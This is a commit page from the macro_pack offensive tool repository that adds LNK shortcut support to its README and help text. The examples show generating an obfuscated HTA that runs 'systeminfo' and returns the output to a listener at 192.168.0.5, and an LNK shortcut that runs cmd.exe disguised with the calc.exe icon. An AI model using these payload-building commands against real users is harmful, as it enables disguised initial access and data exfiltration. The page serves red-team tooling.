Skip to content
This repository has been archived by the owner on Sep 14, 2024. It is now read-only.

Commit

Permalink
Add help for lnk feature
Browse files Browse the repository at this point in the history
  • Loading branch information
sevagas committed Apr 11, 2018
1 parent fa7ca21 commit e2985ae
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 6 deletions.
14 changes: 10 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,13 +61,13 @@ Scripting (txt) supported formats are:
* Windows Script Components scriptlets (.wsc, .sct)
* HTML Applications (.hta)


Shortcuts supported formats are:
* Shell Link (.lnk)
* Explorer Command File (.scf)
* URL Shortcut (.url)
* Groove Shortcuts (.glk)

Note that all scripting and shortcuts formats can be generated on Linux version of macro\_pack as well.
Note that all scripting and shortcuts formats (except LNK) can be generated on Linux version of macro\_pack as well.



Expand Down Expand Up @@ -198,7 +198,7 @@ set EnableStageEncoding true
```


- Generated obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5
- Generates obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5
```batch
# 1 Generate HTA file with CMD template
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t CMD -o -G info.hta
Expand All @@ -211,7 +211,13 @@ mshta.exe full/path/to/info.hta

- Generate url shortcut which executes a local hta file when you click on it
```batch
echo "file://C:\Users\username\Desktop\hello.hta" | python.exe .\macro_pack.py -G C:\Users\username\Desktop\yop.url
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
```


- Generate lnk shortcut which executes a cmd running calc.exe with calc.exe icon
```batch
echo '"c:\Windows\System32\cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk
```


Expand Down
4 changes: 2 additions & 2 deletions src/common/help.py
Original file line number Diff line number Diff line change
Expand Up @@ -178,7 +178,7 @@ def printUsage(banner, currentApp, mpSession):
Supported Ms Office extensions are: doc, docm, docx, xls, xlsm, xslx, pptm, vsd, vsdm, mpp.
Note: Ms Office file generation requires Windows OS with right MS Office application installed.
Supported Visual Basic scripts extensions are: vba, vbs, wsf, wsc, sct, hta.
Supported shortcuts extensions are: scf, url, glk
Supported shortcuts extensions are: lnk, scf, url, glk
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Expand All @@ -204,7 +204,7 @@ def printUsage(banner, currentApp, mpSession):
Notes:
Have a look at README.md file for more details and usage!
Homes: www.github.com/sevagas && blog.sevagas.com
Home: www.github.com/sevagas && blog.sevagas.com
"""
print(details)
Expand Down

0 comments on commit e2985ae

Please sign in to comment.